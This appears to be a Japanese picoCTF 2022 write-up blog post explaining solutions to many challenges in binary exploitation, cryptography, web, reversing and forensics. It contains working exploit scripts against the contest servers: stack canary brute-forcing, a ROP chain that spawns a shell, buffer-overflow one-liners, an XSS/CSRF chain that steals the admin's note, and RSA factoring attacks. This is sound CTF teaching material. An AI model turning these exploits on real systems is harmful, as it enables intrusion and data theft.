3月16日から3月30日の2週間のコンテスト。エンジョイ勢としては、毎日コツコツと解けるので、これはこれで楽しい。本気の人は、2週間本気を出さないといけないので大変かもしれない。

66問中64問を解いて、42位。

問題は過去問として収録されているので、今でも挑戦できる。

問題数が多いので、正解チーム数が1,000未満の問題と何か書きたいことがある問題だけ解説を書いていく。

RPS (Binary Exploitation, 200 points, 2,690 solves)

Rock Paper Scissor。ジャンケン。5回連続で勝てばフラグが得られる。

ジャンケンに1回勝つ確率は約33%　5回全てに勝つ確率は約0.4%　数百回ジャンケンを続ければ良い。

……と解いたのだけど、思っていた以上に勝てる。ソースコードを良く見ると、手を出すごとに乱数を秒精度の現在時刻で初期化している。つまり、1秒以内に同じ手を5回出せば約33%の確率でフラグが得られる。

game-redacted.c

 :
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
 :
bool play () {
  char player_turn[100];
  srand(time(0));
  int r;

  printf("Please make your selection (rock/paper/scissors):\n");
  r = tgetinput(player_turn, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }
}
 :

ソースコードをもっと良く見ると、プレイヤーの出した文字列の中に、コンピュータが負ける文字列が含まれるかで判定している。想定解法はこれか。

$ (for _ in $(seq 5); do echo 1; echo rock paper scissors; done; echo 2) | nc saturn.picoctf.net 53865
1
rock paper scissors
1
rock paper scissors
1
rock paper scissors
1
rock paper scissors
1
rock paper scissors
2
Welcome challenger to the game of Rock, Paper, Scissors
For anyone that beats me 5 times in a row, I will offer up a flag I found
Are you ready?
Type '1' to play a game
Type '2' to exit the program
 :
Please make your selection (rock/paper/scissors):
You played: rock paper scissors
The computer played: paper
You win! Play again?
Congrats, here's the flag!
picoCTF{50M3_3X7R3M3_1UCK_B69E01B8}
Type '1' to play a game
Type '2' to exit the program

picoCTF{50M3_3X7R3M3_1UCK_B69E01B8}

buffer overflow 3 (Binary Exploitation, 300 points, 834 solves)

スタックバッファオーバーフローの緩和策として、「スタックカナリア」がある。これは、スタックのローカル変数よりも後、戻り先アドレスよりも前にランダム文字列（カナリア）を置いておき、ローカル変数のバッファオーバーフローによってランダム文字列が書き換えられたことを検知したら、戻り先アドレスに戻らずに強制終了させるもの。

この問題ではスタックカナリアを自前で実装している。そして、カナリアが固定の値。例えばこの文字列が A であったとき、1バイトのオーバーフローで A と書き込んでもカナリアは変化しないので、強制終了はしない。A 以外の文字を書き込むと強制終了する。こうして1文字ずつ探索することができる。

attack.py

from pwn import *

host = "saturn.picoctf.net"
port = 62877

context.log_level = "error"

C = b""
for i in range(4):
  for c in range(0x20, 0x7f):
    c = bytes([c])
    print(".", end="")
    while True:
      try:
        s = remote(host, port)
        s.sendlineafter(b"> ", str(64+len(C)+1).encode())
        s.sendafter(b"Input> ", b"a"*64+C+c)
        r = s.recvline()
        s.close()
      except Exception as e:
        s.close()
        continue
      break
    if b"Ok..." in r:
      C += c
      print()
      print(C)
      break
# C = b"BiRd"

elf = ELF("vuln")
s = remote(host, port)
payload = b"a"*64+C+b"a"*16+pack(elf.symbols["win"])
s.sendlineafter(b"> ", str(len(payload)).encode())
s.sendafter(b"Input> ", payload)
print(s.recvall().decode())

なんか接続が安定しない。時間を掛けて探索した後でちょっとしたtypoで実際の攻撃部分が落ちたりすると悲しいので、適宜ログを出力しておいて、途中だけコメントアウトしたりして動かせるようにしておくと良い。

$ python3 attack.py
...................................
b'B'
..........................................................................
b'Bi'
...................................................
b'BiR'
.....................................................................
b'BiRd'
Ok... Now Where's the Flag?
picoCTF{Stat1C_c4n4r13s_4R3_b4D_10a64ab3}

値が固定のカナリアなんてコンテストの中だけだと思うかもしれないが、そんなことはない。ネットワーク接続を親プロセスで受け付け、接続ごとに fork して子プロセスに任せる形のサーバーだと、親プロセスも各子プロセスもカナリアの値が同じになる。この問題と同じようにしてスタックカナリアを回避できるらしい。

test.c

#include <stdio.h>
#include <unistd.h>

void print_canary(char *p)
{
    char buf[16];
    printf("%s: %p\n", p, *(void **)(buf+24));
}

int main()
{
    if (fork()==0)
      print_canary("child1");
    else if (fork()==0)
      print_canary("child2");
    else
      print_canary("parent");
}

$ gcc -o test test.c
$ ./test
child1: 0xdfd6754b8bd1d500
parent: 0xdfd6754b8bd1d500
child2: 0xdfd6754b8bd1d500
$ ./test
parent: 0xeee10f55ca221300
child1: 0xeee10f55ca221300
child2: 0xeee10f55ca221300

picoCTF{Stat1C_c4n4r13s_4R3_b4D_10a64ab3}

ropfu (Binary Exploitation, 300 points, 649 solves)

$ nc saturn.picoctf.net 50679
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!

これまでのようなシェルを起動する関数がバイナリ中に無い。また、libcが配布されていないので、libcのアドレスをリークして system 関数に飛ばすというのも面倒そう。Return-oriented programming（ROP）で、シェルを起動するような処理を実行する。

システムコールを呼ぶときにはレジスタに値を設定する必要がある。64ビットなら楽なのだけど、32ビットでは目的のレジスタを設定する pop r?x; ret が無いことが多い。そこで、Sigreturn-oriented programming……を自分で実装するのは大変だから、Pwntoolsにお任せ。

適当なアドレス addr に "/bin/sh" を読み込んで、 execve(addr, 0, 0) 。

attack.py

from pwn import *

elf = ELF("vuln")
context.binary = elf
context.kernel = "amd64"

s = remote("saturn.picoctf.net", 50679)
#s = remote("localhost", 8888)

rop = ROP(elf)
rop.gets(0x080e5060)
rop.execve(0x080e5060, 0, 0)
print(rop.dump())
s.sendline(b"a"*0x1c+rop.chain())

s.sendline(b"/bin/sh")

s.interactive()

$ python3 attack.py
[*] '/mnt/d/documents/ctf/picoctf2022/ropfu/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Opening connection to saturn.picoctf.net on port 50679: Done
[*] Loaded 77 cached gadgets for 'vuln'
[*] Using sigreturn for 'SYS_execve'
0x0000:        0x8051b70 gets(0x80e5060)
0x0004:        0x8049022 <adjust @0xc> pop ebx; ret
0x0008:        0x80e5060 data_start
0x000c:        0x80b074a pop eax; ret
0x0010:             0x77 [arg0] eax = SYS_sigreturn
0x0014:        0x804a3d2 int 0x80
0x0018:              0x0 gs
0x001c:              0x0 fs
0x0020:              0x0 es
0x0024:              0x0 ds
0x0028:              0x0 edi
0x002c:              0x0 esi
0x0030:              0x0 ebp
0x0034:              0x0 esp
0x0038:        0x80e5060 ebx = data_start
0x003c:              0x0 edx
0x0040:              0x0 ecx
0x0044:              0xb eax = SYS_execve
0x0048:              0x0 trapno
0x004c:              0x0 err
0x0050:        0x804a3d2 int 0x80
0x0054:             0x23 cs
0x0058:              0x0 eflags
0x005c:              0x0 esp_at_signal
0x0060:             0x2b ss
0x0064:              0x0 fpstate
[*] Switching to interactive mode
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
$ ls -al
total 700
drwxr-xr-x 1 root root     34 Mar 15 06:45 .
drwxr-xr-x 1 root root    104 Mar 15 06:45 ..
-rw-r--r-- 1 root root     34 Mar 15 06:45 flag.txt
-rwxr-xr-x 1 root root 709360 Mar 15 06:45 vuln
$ cat flag.txt
picoCTF{5n47ch_7h3_5h311_5b4fc869}$

picoCTF{5n47ch_7h3_5h311_5b4fc869}

Very Smooth (Cryptography, 300 points, 692 solves)

$p-1$ は素因数が16ビット以下、$q-1$ は素因数が17ビット以下になるような素数 $p$ と $q$ を作ってRSA暗号化をしている。

Pollard's p − 1 algorithm。

$x = (\dots((((2^2)^3)^4)^5)^6\dots)^{2^{16}}$ を計算する。$2$ は $n$ と互いに素ならば、何でも良い。$x=2^{2\cdot 3 \cdot 4 \cdot 5 \cdot 6 \cdot \dots \cdot {2^{16}}}$。このとき、肩の $2\cdot 3 \cdot 4 \cdot 5 \cdot 6 \cdot \dots \cdot {2^{16}}$ の中には、$p-1$ の素因数が全て含まれているので、整数 $k$ を用いて、 $x=2^{k(p-1)}$ と書ける。フェルマーの小定理から、 $x=(2^{p-1})^k \equiv 1^k \equiv 1 \mod p$。つまり、$x-1$ は $p$ の倍数になる。$x$ と $n$ の最大公約数として $p$ が求められる。途中の計算は $\mod n$ で行っても良い。

自然数全てを掛けるのは無駄で、素数のみで良い。また、（この問題の話ではなく一般的な話として）$p-1$ は、例えば、$8=2^3$ を約数に含むかもしれないので、 $x=2^{2^{k_2}\cdot 3^{k_3} \cdot 5^{k_5} \cdot 7^{k_7} \cdot \dots}$ として、 $2^{k_2}$ などが閾値の値程度になるように、$k_2$ などの値を決める……というのがPollard's p − 1 algorithm。

「大きければ大きいほど良いんでしょ？」と $2^{17}$ まで計算してしまうと、$x$ は $q$ の倍数にもなり、つまり $x$ は $n$ の倍数ということで、最大公約数が $n$ そのものになって無意味になる。

こういう攻撃を防ぐため、RSAには $p-1$ が大きな素因数を含む（その他の条件もある）strong primeを使う。

solve.py

n = 0x6c22f986f42070bffcb20cde5f2b177d7e7e0aa27da9d8bff6878ca2e20decc536415464f3421b566c99b3a847563356274742960fec72f23159598a485cc1c4b14fbb06663e9216a2155dcb467eabd376af03046e1388100f30dd45110bc1a0d83cd61e601056bf4c2f7c218bb9f7092d55404ad5d1972816d0c99b1afb3891848a8149a10c1712f5aa5063b89f916258b6c7aab25199bdda4dd3bbb41861b6abe22fad20533768e9669ec724536b8edf136334817f0eb1ed7521de10fba7e57adf6a186ea507f8c4beff0bb257ba5ffca31099d1b0585adca615cc55db717e8cd368a4ddfde79c84fb4daaec9fa98af61af9351640f971098f5739101f9901
c = 0x5f1b83489ccf5b6e7c61deeb9a153caea3a8db74ef7c408b69e7e31c65ed8cf0507be40eccf6e1d0aaacefb01e9c10b4051faa6186a04c517ed92f8b394ea024a1cdf500d4ffa8f00377cf63d14ad301b9112b63fa136e7c4bbef050154da3206d26f9d85987d73cf22d2648cd18c8641de25bbb01f84105b8df327616eb8f68d3ef1d5b5271b411564cd1ff04ee975a19a2cfeb87f1cbed0cf131501d966ec8bb6dcd3f43939e987d52c25b36326f02cfa542fc393c87e49b682faf8262621d89714271e22adb189530574140a68aa518d6133115a573f534ab577dadd04fcffb742cb186d7c75f640e0f21fcb9273745a0d4f60916c117717b0bab3ebd1fd

import math
from Crypto.Util.number import *

a = 2
for i in range(2, 2**16):
  a = pow(a, i, n)
p = math.gcd(a+n-1, n)
assert 1<p<n
assert n%p==0
q = n//p
print("p:", p)
print("q:", q)

d = inverse(0x10001, (p-1)*(q-1))
FLAG = pow(c, d, n)
FLAG = long_to_bytes(FLAG).decode()
print(FLAG)

$ python3 solve.py
p: 105948715508993203457994394919043360394305357759656877467436425170162355034479687176955556024268093616891605342326163257227659126179731789053985056864273178633945607496483388955843182846064741892791171109803625219304226339422548833881517763247974276735174167819491261050031494371431223579549708339451920265523
q: 128845201621822271898133712015426399754696511984287279682189628449487259449846237768090684573796719875032945236588854930231773841151459956534092885961496424242103410659916456395698251020443683644403618149625383699240730448458889026020872437292600943675754069474333771886006001404532810488708476005257558439163
picoCTF{7579cc73}

picoCTF{7579cc73}

wine (Binary Exploitation, 300 points, 579 solves)

Windowsのpwn問。

「Windowsでシェルを取るってどうするんだろうなぁ」と思ったけど、フラグを表示する win 関数があった。それなら、やることはLinuxと何も変わらない。

$ python3 -c 'print("a"*0x8c+"\x30\x15\x40")' | nc saturn.picoctf.net 63335

335
Give me a string!
picoCTF{Un_v3rr3_d3_v1n_266a4ad8}
Unhandled exception: page fault on read access to 0x7fec39e0 in 32-bit code (0x7fec39e0).
Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
 EIP:7fec39e0 ESP:0064fe84 EBP:61616161 EFLAGS:00010206(  R- --  I   - -P- )
 EAX:00000000 EBX:00230e78 ECX:0064fe14 EDX:7fec48f4
 ESI:00000005 EDI:0021e688
Stack dump:
0x0064fe84:  00000000 00000004 00000000 7b432ecc
0x0064fe94:  00230e78 0064ff28 00401386 00000002

picoCTF{Un_v3rr3_d3_v1n_266a4ad8}

function overwrite (Binary Exploitation, 400 points, 559 solves)

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

void vuln()
{
  char story[128];
  int num1, num2;

  printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
  scanf("%127s", story);
  printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
  scanf("%d %d", &num1, &num2);

  if (num1 < 10)
  {
    fun[num1] += num2;
  }

  check(story, strlen(story));
}

hard_checker は引数の文字のASCIIコードの合計が13371337ならフラグを出力する。127文字の制限があるので無理。 easy_checker という関数も別に定義されており、こちらは合計が1337で良い。

num1が非負であることがチェックされていないので、check を書き換えられる。num2 は hard_checker と easy_checker のアドレスの差分にすれば良い。

$ nc saturn.picoctf.net 60086
Tell me a story and then I'll tell you if you're a 1337 >> zzzzzzzzzzu
On a totally unrelated note, give me two numbers. Keep the first one less than 10.
-16 -314
You're 1337. Here's the flag.
picoCTF{0v3rwrit1ng_P01nt3rs_4453c7be}

picoCTF{0v3rwrit1ng_P01nt3rs_4453c7be}

Keygenme (Reverse Engineering, 400 points, 953 solves)

Keygenとはソフトウェアのライセンスキーを生成するプログラム。それを作れという問題。

angrに投げれば終わりかと思ったけど、なぜかダメ。

solve.py

import angr

project = angr.Project("keygenme", auto_load_libs=False)

@project.hook(0x4014ed)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()

$ python3 solve.py
WARNING | 2022-03-18 23:09:46,830 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2022-03-18 23:09:47,068 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2022-03-18 23:09:47,068 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2022-03-18 23:09:47,068 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2022-03-18 23:09:47,068 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2022-03-18 23:09:47,068 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2022-03-18 23:09:47,068 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefe9c with 101 unconstrained bytes referenced from 0x500028 (strlen+0x0 in extern-address space (0x28))
WARNING | 2022-03-18 23:09:47,084 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefe60 with 32 unconstrained bytes referenced from 0x500028 (strlen+0x0 in extern-address space (0x28))
WARNING | 2022-03-18 23:09:47,674 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x500028 (strlen+0x0 in extern-address space (0x28))
FLAG SHOULD BE: b'picoCTF{br1ng_y0ur_0wn_k3y_00000000}'

警告が出ているところに何かあるのかな？

しょうがないので、gdbでデバッグ。MD5で何かやってる。

$ ./keygenme
Enter your license key: picoCTF{br1ng_y0ur_0wn_k3y_d4bccbf6}
That key is valid.

picoCTF{br1ng_y0ur_0wn_k3y_d4bccbf6}

Sequences (Cryptography, 400 points, 615 solves)

sequences.py

 :
# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
@functools.cache
def m_func(i):
    if i == 0: return 1
    if i == 1: return 2
    if i == 2: return 3
    if i == 3: return 4

    return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)
 :

m_func(20000000) を計算すればフラグが得られる。20,000,000程度ならメモ化すればいけるだろ……されてるな。 @functools.cache がそれ。

再帰呼び出し制限で落ちる。sys.setrecursionlimit で増やしてもOS側のスタックが尽きる。Linuxなら ulimit -s unlimited でスタック無制限にできるけど、Linuxに入れているPythonのバージョンが古くて @functools.cache が無いからそのままでは動かないし、Windowsはスタックサイズを決めているのはOSではなく実行ファイル（Python）だっけか……？

再帰をしないように書き換えても遅い。扱っている数が大きくなるからか。最後に 10**10000 で割った余りを取っているので、途中もmodで計算すれば良い。あと、そもそも直近4個の数しか見ないので、前のほうは捨てて良い。

sequences2.py

 :
def m_func(i):
    T = [1, 2, 3, 4]
    for _ in range(i):
        T = [T[1], T[2], T[3], (55692*T[0] - 9549*T[1] + 301*T[2] + 21*T[3]) % (10**10000)]
    return T[0]
 :

こう書き換えて数十分放置していたら出てきた。

Note that even an efficient solution might take several seconds to run. If your solution is taking several minutes, then you may need to reconsider your approach.

はい……。

ヒント。

Google "matrix diagonalization". Can you figure out how to apply it to this function?

競技プログラミングで出てくる。行列の累乗の形に直して、累乗は高速化できるというやつだろう。

picoCTF{b1g_numb3rs_cd8e813d}

stack cache (Binary Exploitation, 400 points, 427 solves)

vuln.c

 :
/*
This program is compiled statically with clang-12
without any optimisations.
*/

void win() {
  char buf[FLAGSIZE];
  char filler[BUFSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
}

void UnderConstruction() {
        // this function is under construction
        char consideration[BUFSIZE];
        char *demographic, *location, *identification, *session, *votes, *dependents;
    char *p,*q, *r;
    // *p = "Enter names";
    // *q = "Name 1";
    // *r = "Name 2";
        unsigned long *age;
    printf("User information : %p %p %p %p %p %p\n",demographic, location, identification, session, votes, dependents);
    printf("Names of user: %p %p %p\n", p,q,r);
        printf("Age of user: %p\n",age);
        fflush(stdout);
}

void vuln(){
   char buf[INPSIZE];
   printf("Give me a string that gets you the flag\n");
   gets(buf);
   printf("%s\n",buf);
   return;
}
 :

スタックバッファオーバーフローと、フラグを読み込むだけで出力しない vuln 関数と、未使用変数を出力している呼び出されない関数 UnderConstruction。

スタックバッファオーバーフローで win と UnderConstruction を順に呼び出す。スタック中に読み込まれたフラグを UnderConstruction が出力する。

$ printf '0123456789abcd\xa0\x9d\x04\x08\x20\x9e\x04\x08\n' | nc saturn.picoctf.net 49409
Give me a string that gets you the flag
0123456789abcd 
User information : 0x80c9a04 0x804007d 0x37363765 0x63353532 0x5f597230 0x6d334d5f
Names of user: 0x50755f4e 0x34656c43 0x7b465443
Age of user: 0x6f636970

picoCTF{Cle4N_uP_M3m0rY_5e3df0c4}

Sum-O-Primes (Cryptography, 400 points, 942 solves)

RSA暗号で、 $x=p+q$ を教えてくれる。 $n=p(x-p)$ となり、これを解けば $p$ が求められる。

solve.py

x = 0x198e800b4f9e29e69889bc7a42b92dbd764cb22dbeb5fb81b1d9778bfe8c4b85d08a7f990019d537b6856aa1ff7355d0bef66c0a5c954bb4b7e58ac094c42ac1c23d23f8f763e41bbebdfa985505ab3571f8355290d2ca66ac333c4e30f1b7354c37d67db2c13c7e07ca3b6d98283f5042a55e23796ca227f428e0d3a83057510
n = 0xa0ab034d978fdd92e73f3f7536f4f2ff5f4dee70b5f1d319903ec65f2a8ffe729688452d2c1f25a7c330e6bb532580094196f888a20ba7556f0907d8a4884bddbde4c4361582fcf163799a0f49b9d196b32012e1b5a4dabd2a6c9e9a47173f903ae1ebe2db66ebf55471982d52e6cbeb8060dd0f01d950a30ac5a830ad2414c86f97703717752bd20abb528f7738e010a7c3e8116b2c3a6706d900d83ff4afc7ca8b47f6c19d1de00c7ea8666c617a5e33d600b381b263662ad17a5d4262a819a57b357fee702538355ee7723f9c694a3c98999bc2432658c7798119d7a54d5e4c01447c7afcdf36110be0be195cea0828b17f5e86b4702341e7a37babb3db07
c = 0x497f4e814e3d7093d49c33c9b743748455b82496af6a8900e6d3c899b58a5e8d32fde34dccf882a87859d8508a18fe23088c8b58dd33decb3e9f4c1737c85f0b66114e62efe0da72fcee95619e4d76e7c485f161464f7067237bbcc213bd02b5e2816208333146652395e07f4245dfd654755417d35cc0a27933dd48ab219f31ed73820087c1ec7e2150caf4f5f0de052d14a2e492715e3a3ca24de41240d49494532b4d5fa54c59db08c6d94938f33a489c24a9b4a7d6b2d57164ce7aacdd0707302fded17671d197485c764064ed97d2560274b5ed4994446e8f790e16e05e8dd4b2d39e228a715f70bd012eb7eaec65e67734fad95f55be307e26b2106226

l = 0
r = x//2
while r-l>1:
  m = (l+r)//2
  if m*(x-m)<=n:
    l = m
  else:
    r = m
p = l
q = x-p

from Crypto.Util.number import *
e = 0x10001
d = inverse(e, (p-1)*(q-1))
FLAG = pow(c, d, n)
FLAG = long_to_bytes(FLAG).decode()
print(FLAG)

$ python3 solve.py
picoCTF{ee326097}

picoCTF{ee326097}

Torrent Analyze (Forensics, 400 points, 708 solves)

BitTorrentの通信のキャプチャが与えられ、ダウンロードしているファイル名を当てる問題。

WiresharkはBitTorrentに対応しているので、有効にする。

たしか、パケットが多いポートをBitTorrentだと指定したらデコードできて、デコード内容から探したハッシュ値（ e2467cbf021192c241367b892230dc1e05c0580e ）をググったら出てきた。

picoCTF{ubuntu-19.10-desktop-amd64.iso}

Live Art (Web Exploitation, 500 pts, 34 solves)

解けなかったし、他の人のwriteupを読んでも良く分からん……。Reactでwrapしまくっているのと、ReactがDOMをどう取り扱うかというのが絡むと何かが起こるのか……？

noted (Web Exploitation, 500 pts, 181 solves)

ノートを投稿するウェブアプリ。
フラグは管理者がノートとして投稿しており、管理者に指定したURLにアクセスさせることができる。
良くあるXSS問。

I'm pretty sure I've followed all the best practices so its definitely secure right?

とか問題文で言っているけど、投稿したノートをEJSの <%- %> で出力している。エスケープがされず、XSSが可能。

この問題が難しいのはここから。このアプリで投稿したノートが見えるのは自分だけ。自分が投稿したノートを管理者に見せることが（普通には）できない。さらに、管理者はインターネットにアクセスすることができないので、「XSSができたところで、クッキーなりフラグなりをどうやって送信すれば……？」となる。

ノートの投稿はCSRF対策がなされているけれど、ログインは対策が抜けている。（インターネットにアクセスできないので） data: schemeを使って、CSRFで私のアカウントにログインするHTMLを送りつければ、私が投稿したスクリプトを管理者のブラウザで実行させることができる。でも、ログインした時点で管理者は私のアカウントになっているので、もう事前に投稿したフラグの書かれたノートは読めない。

管理者にウィンドウを2個開かせる。1個目のウィンドウでは管理者のアカウントでページを開かせそのままにしておく。2個目のウィンドウでCSRFを使って私のアカウントにログインさせスクリプトを実行させる。1個目と2個目のウィンドウはアカウントは別になっているが、ブラウザはそんなことは関知せず、originが同一なので、2個目のウィンドウから1個目のウィンドウの内容にアクセスできる。

2個のウィンドウを管理する親がいれば見通しが良いのだけど、親ウィンドウを経由して兄弟ウィンドウを得る手段が（たぶん）無いから、親ウィンドウはそのままページ遷移して1個目のウィンドウ役にする。ちなみに、originが別でもなぜか <iframe> にアクセスすることができて、 <iframe> 経由だと楽だったのだけど、3rd party cookieという扱いになり、 <iframe> ではクッキーが送信されなくなっていた。つらい。

私のアカウントでこのノートを投稿する。

<script>
if (opener) {
  setTimeout(() => {
    fetch("http://0.0.0.0:8080/new", {
      method: "post",
      credentials: "include",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({
        title: "a",
        content: opener.document.body.innerHTML,
        _csrf: document.body.innerHTML.match(/name="_csrf\" value="(.*)?"/)[1]
      }),
    });
  }, 1000);
}
</script>

data:text/html,... で次の内容にアクセスさせる。

<script>
setTimeout(()=>{
  open().document.write('<form action="http://0.0.0.0:8080/login" method="post"><input name="username" value="kusano"><input name="password" value="q3uypryxdXSB"></form><script>setTimeout(()=>{document.forms[0].submit();}, 1000);</'+'script>');
  location.href="http://0.0.0.0:8080/";
}, 1000);
</script>

CSRFで私のアカウントに1秒後にログインするページを別ウィンドウで開く
元のウィンドウは問題のアプリに遷移する（このときは管理者アカウント）
別ウィンドウで私のアカウントにログインすると、私が投稿したスクリプトが実行される
このスクリプトは親ウィンドウの内容を読み込み、ノートとして（私のアカウントで）投稿する

ヒントの

There's more than just HTTP(S)!

は data: scheme。

Things that require user interaction normally in Chrome might not require it in Headless Chrome.

はポップアップウィンドウ。

picoCTF{p00rth0s_parl1ment_0f_p3p3gas_386f0184}

NSA Backdoor (Cryptography, 500 points, 370 solves)

問題文。

I heard someone has been sneakily installing backdoors in open-source implementations of Diffie-Hellman... I wonder who it could be... ;)

ヒント。

Look for Mr. Wong's whitepaper... His work has helped so many cats!

「Very Smooth」と同じように $n$ を作っている。ただし、今度はRSAではなく離散対数問題（ $c=3^m \mod n$ の $c$ と $n$ が与えられて、 $m$ を求める）。

whitepaper はこれかな。

解説記事。

$\phi(n)$ が小さな素数に素因数分解できるならば、中国剰余定理が使えるということか。

solve.py

n = 0x62b58ba3219526fcb085416353e5176929f76eda72cd74d54ac88e8cf16cbb706f287356fcdf60309ae660450fdf7468ff909d0c7334e17fcf61a24925eb2f2b95bbb083e7e34088a40bb9251d9fa2c5fef00c24dd756cd1971c3c0e707c5e9b52e3e9840549283fd76c09fc82233f9dcc3690e54dcf0a7f10f48837be406483c6feb2a3f1b051e8f7dc7313479c3f3123766f671b8754b6243a26067ed6551f925d08ca633998199cda028e975296b0492f4349940540b15c3fbeb9ded4b0ee8c81652eb223cc94bb363d288a874595f3e8a98a5b2fc5b123abea5bbb862ae29d9e96ebff40a91f04f748335ae21eed30c0f88b2a993ac200b0ace01b2e9db5
c = 0x2519ac05413703ee8119fa2befc2024b3315c387b090af6fe1ab2ab06cb019b424564be590080cdb5c07c9ef57cd44439c5c1cde5b3db2816884efc425364c7ce88f45671e97427b68fd54239f8c942d2eabf20a8619e54ddda6550e10e9de22a18107ebb831f03f6fc96e7163e43d2373e92bbb300899a4dbae088166888894c80e8a18d1e33e519c68269c482fd23e803014bfe519f009fa6b55938baf37e158b4350d7d7c6dc070cde8590a928017bb0960ded5ba24b6460f6267a922a0d3f8d79181a189b4696dc02653880a7efd1ca5f8da2183e0854f54081678fd7c00adac1efbc3f9df6367c415617c08f343ca389b842e671e073fb5484d5c6ef20a

import math
from Crypto.Util.number import *

a = 2
for i in range(2, 2**16):
  a = pow(a, i, n)
p = math.gcd(a+n-1, n)
assert 1<p<n
assert n%p==0
q = n//p

phi = (p-1)*(q-1)

M = []
t = phi
f = 2
while t>1:
  if t%f==0:
    M += [f]
  while t%f==0:
    t //= f
  f += 1

M = M[1:]
A = [0]*len(M)
for i in range(len(M)):
  c2 = pow(c, phi//M[i], n)
  g2 = pow(3, phi//M[i], n)
  a = 0
  t = 1
  while True:
    if t==c2:
      break
    a += 1
    t = t*g2%n
  A[i] = a

def extgcd(a, b):
  if b==0:
    return 1, 0, a
  else:
    x, y, g = extgcd(b, a%b)
    return y, x-a//b*y, g

def CRT(A, M):
  sa = 0
  sm = 1
  for a, m in zip(A, M):
    x, y, g = extgcd(m, sm)
    assert (a-sa)%g==0
    sa = (sa*x*m+a*y*sm)//g
    sm *= m//g
  return sa%sm, sm

a, m = CRT(A, M)
print(a)
print(m)
print(long_to_bytes(a))

$ python3 solve.py
38251710328773353863765792553472569533309
3115219322141007181833839595995778635585432762887005538508643122799448076548407993268988263745478561243225341142506634503859155186310015837647568507911014225108177349329076392724300840271688622211489512781616354414742121070332040341415421473472268385811410471304848208835278742919155750113882137530394264800226781907897564807446879336818915328116522377849610360397407081721588516331267612010411109683830875505052813128085645286011572974938155057731793793673127276836299722320775439998652081778790446118811749327551559613998000693087447432264088783196873199772777297595702954691611123826800434960096189175488627724563
b'picoCTF{6aae5b6c}'

picoCTF{6aae5b6c}

solfire (Binary Exploitation, 500 points, 9 solves)

解けなかった。今回のCTFの最難問題。

スマートコントラクト問なのだろうか。（たぶん）Solanaという暗号通貨のスマートコントラクトが問題。eBPFのELFファイルが渡された。スマートコントラクトの言語（？）にeBPFを採用しているらしい。へー。

Wizardlike (Reverse Engineering, 500 points, 615 solves)

キャラクタベースのダンジョンを歩いて行く感じのプログラム。視界に入った部分の壁などしか見えない。もちろん素直に歩いて行って終わりなわけはなく、普通には行き止まりになる。

バイナリをちょっと書き換えて壁を通り抜けられるようにしてみたところ、マップにAscii Artでフラグが書かれているっぽい。これで解けるかと思ったけど、壁で埋まっているステージはそもそも壁で視界が悪くて無理。マップはバイナリ中にそのまま入っているので抜き出した。

実際は100x100だけど空白や壁だけの行は適当に省略。

#########                                                                                           
#.......#  ......#...................................                                               
#.......#  ....................####.#####.#####..###.                                               
#........  .####.#..###..###..#.......#...#......#...                                               
#.......#  .#  #.#.#....#   #.#.......#...###...#....                                               
#.......#  .####.#.#....#   #.#.......#...#......#...                                               
#.......#  .#....#..###..###...####...#...#......###.                                               
#.......#  .#........................................                                               
#.......#  ..........................................                                               
#.......#                                                                                           
#.......#                                                                                           
#.......#                                                                                           
#.......#                                                                                           
#.......#                                                                                           
#......>#                                                                                           
#########

#####. .............................................................                                
#.<.#. ...............#..#.............##.......#..#........#.......                                
#...#. .#..#.###......#..#.......#...#..#.####..#..#.###....#.......                                
#...#. .#..#.#........####.......#.#.#..#...#...####.#...####.......                                
#...#. .####.#...####....#.#####..#.#..###.####....#.#...####.#####.                                
  .    .............................................................                                
  .    .............................................................                                
  .    .............................................................                                
#....                                                                                               
#...#                                                                                               
#...#                                                                                               
#...#                                                                                               
#...#                                                                                               
#...#                                                                                               
#.>.#                                                                                               
#####

#################   .......                                                                         
#<..............#.  .#...#.                                                                         
#...............#.. .#...#.                                                                         
#..............#.....#####.                                                                         
#...#.......#...#.. .....#.                                                                         
#..###.....###..#.  .....#.                                                                         
#...#...#...#...#   .......                                                                         
#......#>#......#   .......                                                                         
